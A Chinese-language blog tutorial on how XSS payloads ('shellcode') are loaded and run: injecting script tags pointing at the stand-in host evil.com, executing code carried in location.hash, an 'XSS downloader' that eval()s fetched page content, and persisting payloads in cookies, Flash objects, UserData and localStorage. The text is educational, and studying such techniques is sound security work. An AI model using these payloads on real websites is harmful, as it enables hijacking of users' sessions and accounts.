zoukankan      html  css  js  c++  java
  • XSS 跨站脚本攻击之ShellCode的调用

    1.ShellCode,最初是溢出程序和蠕虫病毒的核心,实际上是指利用一个漏洞是所执行的代码,在XSS跨站脚本中,是指由javascript等脚本编写的XSS利用代码;

    2.Exploit,在黑客眼里就是漏洞利用,通常表示完整编写好的漏洞利用工具(或程序),具有一定的攻击性;Exploit往往包含了shellcode

    3.POC:即Proof of Concept,是一段证明漏洞存在的程序代码片段;

    4.攻击者往往会把shellcode写到远程服务器中,然后使用<script>等标签对其进调用,或者使用一些本地存储对象对其进行存储和调用等

    (1)动态调用远程javaScript

    **使用<script>标签调用远程javaScript:

    "><script src=http://www.evil.com/xss.js></script><

    http://www.bug.com/view.php?sort="><script  src=http://www.evil.com /xss.js></script><

    **基于DOM的方法创建和插入节点,把脚本或HTML注入到网页,实现过程:

    var s=document.createElment("script");                       //使用createElement()函数创建一个新元素---script

    s.src="http://www.evil.com/xss.js";                             //把<script>的属性src设置成“http://www.evil.com/xss.js”,xss.js里面写有shellcode代码

    document.getElmentsByTagName("head")[0].appendChild(s);                //使用getElementByTagName()函数查找并返回文档中第一个元素,然后利用appendChild()                                                                                                            函数调用元素参数s

    5.使用window.location.hash

    (1)location是JavaScript管理地址栏的内置对象,比如location.href用来管理页面的URL,用location.href=URL,就可以直接将页面重定向URL;

    (2)location.hash则可以用来获取或设置页面的标签值:

    例如:

    http://www.bug.com/view.php?sort="><script>evil(location.hash.substr(1))</script>#alert('XSS')

    substr()可在字符串中抽取从start下标开始的指定数目的字符,所以location.hash.substr(1)的作用就是抽取“#”符号后边的字符,即alert('XSS')

    evil()函数用来计算某个字符串,并执行其中的javaScript代码

    那么,evil(location.hash.subsrt(1))的功能就是执行URL的#之后的javaScript代码

    6.XSS Downloader:另一种存储和调用shellCode的方法,即将其存储在网站的数据库中,包括网页的信息,文章内容,个人资料等地方,然后再把它们下载下来执行

    (1)简单的说,就是打造一个XSS  downloader(XSS下载器),事先把shellcode写在网站的某个页面,在利用XMLHTTP控件向网站发送HTTP请求(POST或GET),然后执行返回的数据;

    (2)例如:

    function XSS(){

    a=new ActiveXObject('Microsoft.XMLHTTP');                   //定义一个XSS函数,该函数也就是调用shellcode的主函数

    a.Open('get','http://www.bug.com/11221.html',false);                    //创建一个XMLHTTP对象

    a.send();                                                   

    b=a.responseText;                                          //向http://www.bug.com/11221.html发送一个HTTP请求并获取HTTP响应

    eval(unescape(b.substring(b.indexOf('BOF|')+4,b.indexOf('|EOF'))));      //用indexOf()函数计算BOF|和|EOF的位置,再用substring()函数方法取出字符串,后用                                                                                                                 //unescape函数方法解码执行

    }

    XSS();

    7.备选存储技术:把XSS shellcode存储在客户端本地域中,比如HTTP cookie,Flash共享对象,UserData,localStorage等

    (1)在cookie是客户端存储技术中的传统解决方法,存储的容量有限,被限制在4KB以内:

    function  setShellCodz(codz){

    var exp=new Date();

    exp.setTime(exp.getTime()+365*24*60*60*1000);

    document.cookie='shellcode='+escape(codz)+';'+'expires='+exp.toGMTString();

    }

    (2)另一种存储容器就是Flash共享对象(SO),类似于HTTP Cookie的运用方式,所以也被称为Flash  Cookie,SO的存储容量可以达到100KB,并且可以使用任何形式的js对象

    缺点是必须使用Flash软件

    (3)IE的UserData也可以存储shellcode,UserData是微软专门为IE在系统中开辟的一块存储空间,最少可以存储640KB,缺点是只能在IE上使用

    (4)H5提供了两种在客户端存储数据的新方法,包括localStorage和sessionStorage

    存储数据的方式是直接给window.localStorage添加一个属性,如:window.localStorage.a

    例子:

    <script>

    localStorage.a="XSS";

    document.write(localStorage.a);

    if(localStorage.count)

    {

    localStorage.count=Number(localStorage.count)+ 1;

    }else{

    localStorage.count=1;

    }

    document.write(访问次数"+localStorage.count+"time(s).");

    </script>

    如果要把XSS Shellcode存储在localStorage中:

    function  setShellCodz(codz){

    window.localStorage.setItem("shellcode",codz);  

    }

    执行shellcode:

    function getShellCodz(){

    eval(window.localStorage.getItem("shellcodz"));

    }

  • 相关阅读:
    logback使用
    数据库阿里连接池 配置
    expect.js
    shim和polyfill有什么区别
    console.js还有浏览器不支持?
    vue项目如何实现剪切板功能--vue-clipboard2
    跟我一起使用webpack给一个开源项目添加一个运行入口
    Axure之添加点击页面
    Axure之母版窗口
    【react】react-reading-track
  • 原文地址:https://www.cnblogs.com/hqutcy/p/5750677.html
Copyright © 2011-2022 走看看